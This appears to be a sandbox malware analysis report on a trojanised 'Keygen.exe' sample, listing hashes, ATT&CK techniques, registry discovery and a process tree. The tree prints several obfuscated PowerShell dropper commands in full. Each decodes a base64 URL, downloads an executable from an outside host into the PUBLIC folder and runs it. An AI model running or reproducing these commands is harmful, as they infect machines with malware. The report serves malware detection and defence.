d91912b4b945e88e881e54573390e6723cfc41916b6546453b59e60f9beee337

Analysis

max time kernel
142s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20250502-en
resource tags

arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2025, 06:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Keygen.exe
Size 849KB
Sample250504-gspagsen21
SHA256 88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
MD5 dbde61502c5c0e17ebc6919f361c32b9
SHA1 189749cf0b66a9f560b68861f98c22cdbcafc566
SHA512 d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb
SSDEEP 24576:uSdQdKdRdOdHdmHBnWs/nROBiGR4+hazer+Vufo/JxBYQ5:hH9DnR1Z+45Ufo/PBL
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://zxvbcrt.ug/zxcvb.exe
exe.dropper
http://zxvbcrt.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
18	5880	powershell.exe
19	4836	powershell.exe
21	2272	powershell.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000\Control Panel\International\Geo\Nation	Keygen.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
3288	Keygen.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3308	powershell.exe
4576	powershell.exe
5880	powershell.exe
4836	powershell.exe
4896	powershell.exe
2272	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
4080	timeout.exe
4424	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2930597513-779029253-718817275-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4576	powershell.exe
4576	powershell.exe
5880	powershell.exe
5880	powershell.exe
4896	powershell.exe
4896	powershell.exe
4836	powershell.exe
4836	powershell.exe
4576	powershell.exe
5880	powershell.exe
4896	powershell.exe
4836	powershell.exe
2272	powershell.exe
2272	powershell.exe
3308	powershell.exe
3308	powershell.exe
2272	powershell.exe
3308	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	5880	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	3308	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3288	Keygen.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 3956 wrote to memory of 2876	3956	Keygen.exe	86
PID 3956 wrote to memory of 2876	3956	Keygen.exe	86
PID 3956 wrote to memory of 2876	3956	Keygen.exe	86
PID 2876 wrote to memory of 3288	2876	cmd.exe	89
PID 2876 wrote to memory of 3288	2876	cmd.exe	89
PID 2876 wrote to memory of 3288	2876	cmd.exe	89
PID 2876 wrote to memory of 4464	2876	cmd.exe	90
PID 2876 wrote to memory of 4464	2876	cmd.exe	90
PID 2876 wrote to memory of 4464	2876	cmd.exe	90
PID 2876 wrote to memory of 1056	2876	cmd.exe	91
PID 2876 wrote to memory of 1056	2876	cmd.exe	91
PID 2876 wrote to memory of 1056	2876	cmd.exe	91
PID 2876 wrote to memory of 4424	2876	cmd.exe	92
PID 2876 wrote to memory of 4424	2876	cmd.exe	92
PID 2876 wrote to memory of 4424	2876	cmd.exe	92
PID 1056 wrote to memory of 4576	1056	mshta.exe	93
PID 1056 wrote to memory of 4576	1056	mshta.exe	93
PID 1056 wrote to memory of 4576	1056	mshta.exe	93
PID 4464 wrote to memory of 5880	4464	mshta.exe	95
PID 4464 wrote to memory of 5880	4464	mshta.exe	95
PID 4464 wrote to memory of 5880	4464	mshta.exe	95
PID 2876 wrote to memory of 2292	2876	cmd.exe	97
PID 2876 wrote to memory of 2292	2876	cmd.exe	97
PID 2876 wrote to memory of 2292	2876	cmd.exe	97
PID 2876 wrote to memory of 5536	2876	cmd.exe	98
PID 2876 wrote to memory of 5536	2876	cmd.exe	98
PID 2876 wrote to memory of 5536	2876	cmd.exe	98
PID 2876 wrote to memory of 4080	2876	cmd.exe	99
PID 2876 wrote to memory of 4080	2876	cmd.exe	99
PID 2876 wrote to memory of 4080	2876	cmd.exe	99
PID 2292 wrote to memory of 4836	2292	mshta.exe	100
PID 2292 wrote to memory of 4836	2292	mshta.exe	100
PID 2292 wrote to memory of 4836	2292	mshta.exe	100
PID 5536 wrote to memory of 4896	5536	mshta.exe	101
PID 5536 wrote to memory of 4896	5536	mshta.exe	101
PID 5536 wrote to memory of 4896	5536	mshta.exe	101
PID 2876 wrote to memory of 2724	2876	cmd.exe	104
PID 2876 wrote to memory of 2724	2876	cmd.exe	104
PID 2876 wrote to memory of 2724	2876	cmd.exe	104
PID 2724 wrote to memory of 2272	2724	mshta.exe	105
PID 2724 wrote to memory of 2272	2724	mshta.exe	105
PID 2724 wrote to memory of 2272	2724	mshta.exe	105
PID 2876 wrote to memory of 5276	2876	cmd.exe	106
PID 2876 wrote to memory of 5276	2876	cmd.exe	106
PID 2876 wrote to memory of 5276	2876	cmd.exe	106
PID 5276 wrote to memory of 3308	5276	mshta.exe	108
PID 5276 wrote to memory of 3308	5276	mshta.exe	108
PID 5276 wrote to memory of 3308	5276	mshta.exe	108

C:\Users\Admin\AppData\Local\Temp\Keygen.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BD83.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Users\Admin\AppData\Local\Temp\BD83.tmp\Keygen.exe
    Keygen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3288
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BD83.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5880
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BD83.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1056
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4576
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4424
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BD83.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2292
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4836
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BD83.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5536
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4896
- - C:\Windows\SysWOW64\timeout.exe
    timeout 2
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4080
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BD83.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2272
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\BD83.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5276
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3308

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476
MD5 25604a2821749d30ca35877a7669dff9
SHA1 49c624275363c7b6768452db6868f8100aa967be
SHA512 206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
MD5 06ad34f9739c5159b4d92d702545bd49
SHA1 9152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA512 c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYoFi3j39MVvjMLUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYoFi3jc
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 2c471ae46bcffa544973bd77da100297f251cfc9e8dd49b43c7ab14f2916382f
MD5 7fc3838bfe459728cd23634eb3d4a856
SHA1 ae098634d99a061a71dfcbb08f0db97a5f3021b6
SHA512 cee8731bbaa15d982bb2b1f1383779d65652058111390ad5d0086b6f9374c36199d35d6bafa684dd7970064612c6fda7fb8fd9433db090850258fcd6c33a2e12
SSDEEP 384:9rf+YkW9p+g6PrjWKBizJksCl8fLiC0K6seYK6g4L/bv5Z+3SoE4K3l+mExdllZQ:VfOW6Roex8fLiC0Nl0zv5wSgO9ExSpYy
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 0a9a2aeece55f1639173bcd6c2abefae1461b8772862d0847faad73b548a5796
MD5 b49be6a6743301e77bb7c251e03ee4a2
SHA1 0181711ec4091ddd9a5d767b60b1cec22c1c23bb
SHA512 35a1b12fcc3146df77823620162d655120e6d3d520313eb0d8de254ea4f22df6528c22e1c4553e6e6cb9e46ec109860ca6614ccc06890a4c41993c7386eb04dc
SSDEEP 384:yb+Ykh9p+dwGA0BBi2LzLJk+o9o2TMa/6seY/Gg4L/bv5Z23SoE4w3v+qExdllZ0:eOgwZYoomjo2TMaA8Azv5ASg65ExWpYK
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 2f4ab5e3dd98a999fd46cf296b23070c2247f866636d695c13979bfc3189ed01
MD5 a53bc46e4dcc36cf3a77a5c3d483eeb1
SHA1 c94dd07f295211cecd98e8363607fa988d708d3e
SHA512 9b8a00b537b0c48150128f00067981bd46b0fa31a66c738a836b1b2eee1baebf1f6aeb8ecd89cc3605413cabafa166b77f5bba6b53e74e4f8e94b30106ea7892
SSDEEP 384:lb+Ykh9p+mE/H5naizck+o9owxof6seY/Sg4L/bv5Zy3SoE4G3l+KExdllZcppJD:5O8/rLjowxog8Mzv5kSgaREx8pYi
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 c64411f03f8283956918ba86dacc62eaca258f899d9db955702d72c2356c8799
MD5 d93ad20a2bf77ff0657a427fd8fb29f5
SHA1 df8860c5857d6a30d4d9b0d4b302d4e16cc86792
SHA512 396e9d8c917d6401534109a84a6777e2b1ed3b532a4652d2ded22d33657e15afe32e2977b8772658abed00e135a5e5e523afb5da769b0b8f5ffa5bc4c44b182b
SSDEEP 384:lrf+Ykt9p+IeuyVltPVOBiZQ1pk+o9o2Tof6seYKSg4L/bv5Zy3SoE423l+KExd4:NfOdyJUoZbjo2ToglMzv5kSgKREx8pYi
MD5 SHA1 SHA512 SSDEEP

Submit Download

Keygen.exe

Path C:\Users\Admin\AppData\Local\Temp\BD83.tmp\Keygen.exe
Size 678KB
SHA256 eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4
MD5 ea2c982c12fbec5f145948b658da1691
SHA1 d17baf0b8f782934da0c686f2e87f019643be458
